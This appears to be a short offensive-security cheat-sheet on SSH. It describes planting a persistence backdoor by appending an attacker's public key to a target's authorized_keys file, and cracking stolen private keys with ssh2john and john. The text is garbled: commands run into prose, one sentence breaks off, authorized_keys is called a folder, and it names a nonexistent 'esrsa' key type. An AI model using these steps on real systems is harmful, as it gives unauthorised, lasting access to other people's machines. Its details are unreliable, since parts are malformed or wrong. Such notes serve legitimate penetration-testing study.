Summery
SSH (Secure Shell) is a network protocol used to securely connect to and control another computer over a network.
It encrypts communication, including commands, passwords, and transferred data.
SSH is also commonly used for remote command execution (ssh), file transfers (scp) and port forwarding/tunneling (Tunneling and pivoting)
Exploitation
Backdoor with a key pair
If you already have access to a host that has SSH but you lack persistance or your shell is just weak, you can always create a key pair and try upload the
- Generate the keys with
ssh-keygen -t ed25519 - Copy your public key wto your clipboard -
cat /home/<USER>/.ssh/id_ed25519.pub - Then, on the target host, run these commands
mkdir -p /home/<USER>/.ssh- Create the.sshfolder if it’s not yet theretouch /home/<USER>/.ssh/authorized_keys- Create theauthorized_keysfolder if it’s not yet thereecho '<YOUR PUBLIC KEY>' >> /home/<USER>/.ssh/authorized_keys- Put your public key into theauthorized_keysfilechmod 700 /home/<USER>/.ssh- Make sure that.sshfolder has correct permissionschmod 600 /home/<USER>/.ssh/authorized_keys- Make sure thatauthorized_keysfile has correct permissions
ssh -i /home/<USER>/.ssh/id_ed25519 user@TARGET_IP- Test the connection to the target host
Try to avoid using ~ here to be 100% sure where you put the keys and make folders.
Tips
- If you get a private key (
id_rsa), besides changing it’s permissions and trying it out, you need to consider cracking it withssh2johnif a passphrase is present - john. - Private keys are usually called
id_rsabut they can change their default names depending on the underlying encryption type, for example, if you were to useesrsarather thanrsait would be namedid_esrsa.